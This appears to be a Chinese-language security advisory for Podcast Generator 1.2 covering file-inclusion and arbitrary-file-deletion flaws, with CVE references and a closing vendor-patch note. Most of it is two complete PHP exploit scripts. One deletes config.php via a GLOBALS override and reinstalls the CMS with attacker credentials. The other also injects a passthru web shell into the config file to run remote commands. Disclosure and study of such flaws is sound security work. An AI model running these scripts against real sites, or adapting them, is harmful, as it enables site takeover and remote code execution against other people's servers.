受影响系统：
Alberto Betella Podcast Generator 1.2
不受影响系统：
Alberto Betella Podcast Generator 1.3
描述：
BUGTRAQ ID: 34317,28038
CVE(CAN) ID: CVE-2009-1230,CVE-2008-1124,CVE-2008-1125
Podcast Generator是用PHP编写的免费播客发布脚本。
Podcast Generator的core/archive_cat.php、core/admin/itunescategories.php和core/admin/login.php页面没有正确地过滤对GLOBALS[absoluteurl]参数所传送的输入，core/themes.php页面没有正确地过滤对GLOBALS[theme_path]参数所传送的输入，这可能用于包含本地或外部资源的任意文件；此外core/admin/delete.php页面没有正确地过滤对file和ext"参数所传送的输入，可能导致删除任意文件。成功利用这些漏洞要求打开了register_globals。
<*来源：BlackHawk
链接：http://secunia.com/advisories/35333/
http://milw0rm.com/exploits/8860
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<?php
#
# Podcast Generator <= 1.2 unauthorized CMS Re-Installation Remote Exploit
#
# by staker
# ————————————–
# mail: staker[at]hotmail[dot]it
# url: http://podcastgen.sourceforge.net
# ————————————–
#
# it works with register_globals=on
#
# short explanation:
#
# —————————————-
# Podcast Generator contains one flaw that
# allows an attacker to re-install the cms
# because of unlink() in ‘delete.php’ file
# —————————————-
# Look at ‘/core/admin/delete.php’
# (removed author’s comments)
/*
<?php
if (isset($_REQUEST[‘absoluteurl’]) OR isset($_REQUEST[‘amilogged’]) OR isset($_REQUEST[‘theme_path’]))
{ exit; } <——– {1}
if ($amilogged != "true") { exit; } <——-{2}
if (isset($_GET[‘file’]) AND $_GET[‘file’]!=NULL) {
$file = $_GET[‘file’];
$ext = $_GET[‘ext’];
if (file_exists("$absoluteurl$upload_dir$file.$ext")) {
unlink ("$upload_dir$file.$ext"); <——–{3}
$PG_mainbody .="<p><b>$file.$ext</b> $L_deleted</p>";
}
*/
#
# Explanation (code snippet above [points])
# ———————————————————————————–
# 1. blocks all ‘amilogged’ REQUEST variables,what about GLOBALS?,therefore useless!
# 2. if ‘amilogged’ isn’t true -> exit() function activated.
# 3. unlink() delete an existing file.
# ———————————————————————————–
#
# It’s possible to delete ‘config.php’ to re-install the cms. we need ‘amilogged’
# set to true. We can do it using a GLOBALS variable.
#
# admin/core/delete.php?GLOBALS[amilogged]=true&file=../../config&ext=php
#
# Various:
# ————————————————–
# They didn’t help me but i want to give a thanks to
# girex,skerno,Chaomel,XaDoS,Dante90 and Gianluka_95
# ————————————————–
# Today is: 02 June 2009.
# Location: Italy,Turin.
# http://www.youtube.com/watch?v=dBc7mK5iAH0
# ————————————————–
error_reporting(E_STRICT ^ E_WARNING);
if ($argc < 2) start_usage();
$host = $argv[1];
$path = $argv[2];
re_install();
function send_request($data)
{
global $host;
if (!$sock = @fsockopen($host,80)) {
die("connection refused..\n");
}
if (isset($data)) {
fputs($sock,$data);
}
while (!feof($sock)) { $result .= fgets($sock); }
fclose($sock);
return $result;
}
function remove_config()
{
global $host,$path;
$in_lex = "/{$path}/core/admin/delete.php?GLOBALS[amilogged]=true&file=../../config&ext=php";
$config = "GET {$in_lex} HTTP/1.1\r\n";
$config .= "User-Agent: Lynx (textmode)\r\n";
$config .= "Host: {$host}\r\n";
$config .= "Connection: close\r\n\r\n";
$lol = send_request($config);
if (check_config() != FALSE) {
die("register_globals=off, exploit failed!\n");
}
else {
return true;
}
}
function re_install()
{
global $host,$path;
$binary = "username=staker&password=killingyourself&password2=killingyourself&setuplanguage=en";
$config = "POST {$path}/setup/index.php?step=5 HTTP/1.1\r\n";
$config .= "User-Agent: Lynx (textmode)\r\n";
$config .= "Host: {$host}\r\n";
$config .= "Content-Type: application/x-www-form-urlencoded\r\n";
$config .= "Content-Length: ".strlen($binary)."\r\n";
$config .= "Connection: close\r\n\r\n";
$config .= $binary;
remove_config();
$content = send_request($config);
if (eregi(‘Creation of the configuration file’,$content)) {
echo "[ re-installed successful\n";
echo "[ username: staker\n[ password: killingyourself\n"; exit(0);
}
else {
die("Exploit failed\n");
}
}
function check_config()
{
global $host,$path;
$config = "GET /{$path}/config.php HTTP/1.1\r\n";
$config .= "User-Agent: Lynx (textmode)\r\n";
$config .= "Host: {$host}\r\n";
$config .= "Connection: close\r\n\r\n";
$content = send_request($config);
if (ereg(‘HTTP/1.1 404 Not Found’,$content)) {
return false;
}
else {
return true;
}
}
function start_usage()
{
print "[*————————————————————————–*]\n".
"[* Podcast Generator <= 1.2 unauthorized CMS Re-Installation Remote Exploit *]\n".
"[*————————————————————————–*]\n".
"[* Usage: php podcast_xpl.php [host] [path] *]\n".
"[* [host] host -> example: localhost *]\n".
"[* [path] path -> example: /podcast *]\n".
"[*————————————————————————–*]\n";
die();
}
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "
Podcast Generator <= 1.1 Remote Code Execution
Vendor: http://podcastgen.sourceforge.net
Exploit Author: BlackHawk
Author’s Site: http://itablackhawk.altervista.org
Credits goes to RGod for the code
Thanks to Marija just for exist 🙂
";
if ($argc<4) {
echo "
Usage: php ".$argv[0]." host /path/ command
Es: php ".$argv[0]." localhost / dir
";
die;
}
/*
Bugs explanation:
This app has tons of bugs, but because of his structure lot of them are useless.. but not them all!
Look at ‘core/admin/delete.php’ (i have omitted the author comments):
—————————
<?php
if (isset($_REQUEST[‘absoluteurl’]) OR isset($_REQUEST[‘amilogged’]) OR isset($_REQUEST[‘theme_path’])) { exit; }
if (isset($_GET[‘file’]) AND $_GET[‘file’]!=NULL) {
$file = $_GET[‘file’];
$ext = $_GET[‘ext’];
if (file_exists("$absoluteurl$upload_dir$file.$ext")) {
unlink ("$upload_dir$file.$ext");
$PG_mainbody .="<p><b>$file.$ext</b> $L_deleted</p>";
}
—————————
no check for admin rights, so now we can delete whatever file we want, with any exstension..
so let’s delete config.php and make a rfesh new installation with a password set by us!
the RCE is triggered in ‘core/admin/scriptconfig.php’, line 56:
—————————
// recent in home
$recent = $_POST[‘recent’];
if ($recent != "") {
$max_recent = $recent;
}
—————————
no sanitize of the input and no quotes added when writting to the config file (so no need mq=off)
BlackHawk <hawkgotyou@gmail.com>
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result=”;$exa=”;$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = ‘(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)’;
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy==”) {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo ‘No response from ‘.$host.’:’.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo ‘Not a valid proxy…’;die;
}
$parts=explode(‘:’,$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy…\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo ‘No response from proxy…’;die;
}
}
fputs($ock,$packet);
if ($proxy==”) {
$html=”;
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html=”;
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$cmd="";
for ($i=3; $i<=$argc-1; $i++){
$cmd.=" ".$argv[$i];
}
$port=80;
$proxy="";
if (($path[0]<>’/’) or ($path[strlen($path)-1]<>’/’)) {echo ‘Error… check the path!’; die;}
if ($proxy==”) {$p=$path;} else {$p=’http://’.$host.’:’.$port.$path;}
echo "Step1 – Delete config.inc\r\n";
$packet ="GET ".$p."core/admin/delete.php?file=../../config&ext=php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
echo "Step2 – Creating new configuration\r\n";
$data="username=new_user_name&password=blackhawk&password2=blackhawk&setuplanguage=en";
$packet="POST ".$p."/setup/index.php?step=5 HTTP/1.0\r\n";
$packet.="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
echo "Step3 – Logging in\r\n";
$data="user=new_user_name&password=blackhawk";
$packet="POST ".$p."?p=admin HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
$PHPid = $temp2[0];
echo "Step4 – Sending shell\r\n";
$data="streaming=yes&fbox=yes&cats=yes&newsinadmin=yes&strictfilename=yes&recent=5; if (isset(\$_GET[cmd])){if(get_magic_quotes_gpc()){\$_GET[cmd]=stripslashes(\$_GET[cmd]);}echo 666999;passthru(\$_GET[cmd]);echo 666999;}\$xyz=5&recentinfeed=All&selectdateformat=d-m-Y&scriptlanguage=en";
$packet="POST ".$p."?do=config&p=admin&action=change HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: $PHPid\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
echo "Step5 – Executing Command\r\n\r\n";
$packet ="GET ".$p."config.php?cmd=dir HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"666999"))
{
echo "Exploit succeeded…\r\n";
$temp=explode("666999",$html);
die("\r\n".$temp[1]."\r\n");
}
?>
建议：
厂商补丁：
Alberto Betella
—————
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
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